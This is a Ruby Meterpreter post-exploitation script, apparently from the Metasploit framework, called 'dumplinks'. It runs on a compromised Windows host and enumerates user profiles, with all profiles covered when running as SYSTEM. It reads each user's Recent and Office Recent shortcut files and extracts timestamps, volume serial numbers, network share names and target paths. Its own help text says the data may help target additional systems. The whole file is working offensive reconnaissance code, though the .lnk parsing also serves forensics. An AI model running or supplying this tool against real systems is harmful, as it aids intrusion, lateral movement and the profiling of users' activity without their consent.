382 lines
11 KiB
Ruby
382 lines
11 KiB
Ruby
# $Id$
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# Meterpreter script `for extracting information from Windows lnk files`
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# Provided by davehull at dph_msf@trustedsignal.com
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# Version 0.2
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opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help menu." ],
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"-e" => [ false, "Dump everything for each link file." ],
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"-w" => [ false, "Redirect output to file."]
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)
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@everything, @output_dir, @data_out = nil
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opts.parse(args) { |opt, idx, val|
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case opt
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when '-e'
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@everything = true
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when '-w'
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@output_dir = ::File.join(Msf::Config.log_directory, 'dumplinks')
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when "-h"
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print_line "dumplinks -- parse .lnk files from user's Recent Documents"
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print_line
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print_line "dumplinks is a modified port of Harlan Carvey's lslnk.pl Perl script."
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print_line "dumplinks parses .lnk files from a user's Recent documents folder and"
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print_line "Microsoft Office's Recent documents folder, if present. Windows creates"
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print_line "these link files automatically for many common file types."
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print_line
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print_line "\tResults are saved to #{::File.join(Msf::Config.log_directory, 'dumplinks')} if -w is used."
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print_line
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print_line "The .lnk files contain time stamps, file locations, including share"
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print_line "names, volume serial #s and more. This info may help you target"
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print_line "additional systems."
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print_line
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print_line "By default, dumplinks only returns the destination for the shortcut."
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print_line "See the available arguments for other options."
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print_line (opts.usage)
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raise Rex::Script::Completed
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end
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}
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# ----------------------------------------------------------------
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# Set up the environment
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@client = client
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info = @client.sys.config.sysinfo
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os = @client.sys.config.sysinfo['OS']
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if @output_dir
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# Create filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d")
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# Create a directory for the output
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@logs = ::File.join(@output_dir, info['Computer'] + filenameinfo)
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# Create output directory
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::FileUtils.mkdir_p(@logs)
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end
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# ---------------------------------------------------------------
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# Function for enumerating users if running as SYSTEM
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# Borrowed from get_pidgin_creds
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def enum_users(os)
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users = []
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userinfo = {}
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user = @client.sys.config.getuid
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userpath = nil
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useroffcpath = nil
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sysdrv = @client.fs.file.expand_path("%SystemDrive%")
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if os =~ /7|Vista|2008/
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userpath = sysdrv + "\\Users\\"
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lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
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officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\"
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else
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userpath = sysdrv + "\\Documents and Settings\\"
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lnkpath = "\\Recent\\"
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officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\"
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end
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if user == "NT AUTHORITY\\SYSTEM"
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print_status("Running as SYSTEM extracting user list...")
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@client.fs.dir.foreach(userpath) do |u|
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next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
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userinfo['username'] = u
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userinfo['userpath'] = userpath + u + lnkpath
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userinfo['useroffcpath'] = userpath + u + officelnkpath
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userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
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userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
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users << userinfo
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end
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else
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uservar = @client.fs.file.expand_path("%USERNAME%")
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userinfo['username'] = uservar
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userinfo['userpath'] = userpath + uservar + lnkpath
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userinfo['useroffcpath'] = userpath + uservar + officelnkpath
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userinfo['userpath'] = dir_entry_exists(userinfo['userpath'])
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userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath'])
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users << userinfo
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end
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return users
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end
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# This is a hack because meterpreter doesn't support exists?(file)
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def dir_entry_exists(path)
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files = @client.fs.dir.entries(path)
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rescue
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return nil
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else
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return path
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end
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def extract_lnk_info(path)
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@client.fs.dir.foreach(path) do |file_name|
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if file_name =~ /\.lnk$/ # We have a .lnk file
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record = nil
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offset = 0 # ToDo: Look at moving this to smaller scope
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lnk_file = @client.fs.file.new(path + file_name, "rb")
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record = lnk_file.sysread(0x04)
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if record.unpack('V')[0] == 76 # We have a .lnk file signature
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file_stat = @client.fs.filestat.new(path + file_name)
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print_status "Processing: #{path + file_name}."
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@data_out = ""
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record = lnk_file.sysread(0x48)
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hdr = get_headers(record)
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if @everything
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@data_out += get_lnk_file_MAC(file_stat, path, file_name)
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@data_out += "Contents of #{path + file_name}:\n"
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@data_out += get_flags(hdr)
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@data_out += get_attrs(hdr)
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@data_out += get_lnk_MAC(hdr)
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@data_out += get_showwnd(hdr)
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@data_out += get_lnk_MAC(hdr)
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end
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if shell_item_id_list(hdr)
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# advance the file & offset
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offset += 0x4c
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lnk_file.sysseek(offset, ::IO::SEEK_SET)
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record = lnk_file.sysread(2)
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offset += record.unpack('v')[0] + 2
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end
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# Get File Location Info
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if (hdr["flags"] & 0x02) > 0
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lnk_file.sysseek(offset, ::IO::SEEK_SET)
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record = lnk_file.sysread(4)
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tmp = record.unpack('V')[0]
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if tmp > 0
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lnk_file.sysseek(offset, ::IO::SEEK_SET)
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record = lnk_file.sysread(0x1c)
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loc = get_file_location(record)
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if (loc['flags'] & 0x01) > 0
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if @everything
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@data_out += "\tShortcut file is on a local volume.\n"
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end
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lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET)
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record = lnk_file.sysread(0x10)
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lvt = get_local_vol_tbl(record)
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lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10)
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if @everything
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@data_out += "\t\tVolume Name = #{lvt['name']}\n" +
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"\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" +
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"\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n"
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end
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end
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if (loc['flags'] & 0x02) > 0
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if @everything
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@data_out += "\tFile is on a network share.\n"
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end
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lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET)
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record = lnk_file.sysread(0x14)
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nvt = get_net_vol_tbl(record)
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nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14)
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if @everything
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@data_out += "\tNetwork Share name = #{nvt['name']}\n"
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end
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end
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if loc['base_ofs'] > 0
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@data_out += get_target_path(loc['base_ofs'] + offset, lnk_file)
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elsif loc['path_ofs'] > 0
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@data_out += get_target_path(loc['path_ofs'] + offset, lnk_file)
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end
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end
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end
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end
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lnk_file.close
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if @output_dir
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@file_out_name = @logs + "/" + file_name + ".txt"
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print_status "Writing: #{@file_out_name}"
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filewrt(@file_out_name, @data_out)
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else
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print_status @data_out
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end
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end
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end
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end
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# Not only is this code slow, it seems
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# buggy. I'm studying the recently released
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# MS Specs for a better way.
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def get_target_path(path_ofs, lnk_file)
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name = []
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lnk_file.sysseek(path_ofs, ::IO::SEEK_SET)
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record = lnk_file.sysread(2)
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while (record.unpack('v')[0] != 0)
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name.push(record)
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record = lnk_file.sysread(2)
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end
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return "\tTarget path = #{name.join}\n"
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end
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def shell_item_id_list(hdr)
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# Check for Shell Item ID List
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if (hdr["flags"] & 0x01) > 0
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return true
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else
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return nil
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end
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end
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def get_lnk_file_MAC(file_stat, path, file_name)
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data_out = "#{path + file_name}:\n"
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data_out += "\tAccess Time = #{file_stat.atime}\n"
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data_out += "\tCreation Date = #{file_stat.ctime}\n"
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data_out += "\tModification Time = #{file_stat.mtime}\n"
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return data_out
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end
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def get_vol_type(type)
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vol_type = { 0 => "Unknown",
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1 => "No root directory",
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2 => "Removable",
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3 => "Fixed",
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4 => "Remote",
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5 => "CD-ROM",
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6 => "RAM Drive"}
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return vol_type[type]
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end
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def get_showwnd(hdr)
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showwnd = { 0 => "SW_HIDE",
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1 => "SW_NORMAL",
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2 => "SW_SHOWMINIMIZED",
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3 => "SW_SHOWMAXIMIZED",
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4 => "SW_SHOWNOACTIVE",
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5 => "SW_SHOW",
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6 => "SW_MINIMIZE",
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7 => "SW_SHOWMINNOACTIVE",
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8 => "SW_SHOWNA",
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9 => "SW_RESTORE",
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10 => "SHOWDEFAULT"}
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data_out = "\tShowWnd value(s):\n"
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showwnd.each do |key, value|
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if (hdr["showwnd"] & key) > 0
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data_out += "\t\t#{showwnd[key]}.\n"
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end
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end
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return data_out
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end
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def get_lnk_MAC(hdr)
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data_out = "\tTarget file's MAC Times stored in lnk file:\n"
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data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n"
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data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n"
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data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n"
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return data_out
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end
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def get_attrs(hdr)
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fileattr = {0x01 => "Target is read only",
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0x02 => "Target is hidden",
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0x04 => "Target is a system file",
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0x08 => "Target is a volume label",
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0x10 => "Target is a directory",
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0x20 => "Target was modified since last backup",
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0x40 => "Target is encrypted",
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0x80 => "Target is normal",
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0x100 => "Target is temporary",
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0x200 => "Target is a sparse file",
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0x400 => "Target has a reparse point",
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0x800 => "Target is compressed",
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0x1000 => "Target is offline"}
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data_out = "\tAttributes:\n"
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fileattr.each do |key, attr|
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if (hdr["attr"] & key) > 0
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data_out += "\t\t#{fileattr[key]}.\n"
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end
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end
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return data_out
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end
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# Function for writing results of other functions to a file
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def filewrt(file2wrt, data2wrt)
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output = ::File.open(file2wrt, "a")
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if data2wrt
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data2wrt.each_line do |d|
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output.puts(d)
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end
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end
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output.close
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end
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def get_flags(hdr)
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flags = {0x01 => "Shell Item ID List exists",
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0x02 => "Shortcut points to a file or directory",
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0x04 => "The shortcut has a descriptive string",
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0x08 => "The shortcut has a relative path string",
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0x10 => "The shortcut has working directory",
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0x20 => "The shortcut has command line arguments",
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0x40 => "The shortcut has a custom icon"}
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data_out = "\tFlags:\n"
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flags.each do |key, flag|
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if (hdr["flags"] & key) > 0
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data_out += "\t\t#{flags[key]}.\n"
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end
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end
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return data_out
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end
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def get_headers(record)
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hd = record.unpack('x16V12x8')
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hdr = Hash.new()
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hdr["flags"] = hd[0]
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hdr["attr"] = hd[1]
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hdr["ctime"] = get_time(hd[2], hd[3])
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hdr["mtime"] = get_time(hd[4], hd[5])
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hdr["atime"] = get_time(hd[6], hd[7])
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hdr["length"] = hd[8]
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hdr["icon_num"] = hd[9]
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hdr["showwnd"] = hd[10]
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hdr["hotkey"] = hd[11]
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return hdr
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end
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def get_net_vol_tbl(file_net_rec)
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nv = Hash.new()
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(nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8")
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return nv
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end
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def get_local_vol_tbl(lvt_rec)
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lv = Hash.new()
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(lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4')
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return lv
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end
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def get_file_location(file_loc_rec)
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location = Hash.new()
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(location["len"], location["ptr"], location["flags"],
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location["vol_ofs"], location["base_ofs"], location["network_ofs"],
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location["path_ofs"]) = file_loc_rec.unpack('V7')
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return location
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end
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def get_time(lo_byte, hi_byte)
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if (lo_byte == 0 && hi_byte == 0)
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return 0
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else
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lo_byte -= 0xd53e8000
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hi_byte -= 0x019db1de
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time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i
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if time < 0
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return 0
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end
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end
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return time
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end
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enum_users(os).each do |user|
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if user['userpath']
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print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
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extract_lnk_info(user['userpath'])
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else
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print_status "No Recent directory found for user #{user['username']}. Nothing to do."
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end
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if user['useroffcpath']
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print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."
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extract_lnk_info(user['useroffcpath'])
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else
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print_status "No Recent Office files found for user #{user['username']}. Nothing to do."
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end
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end
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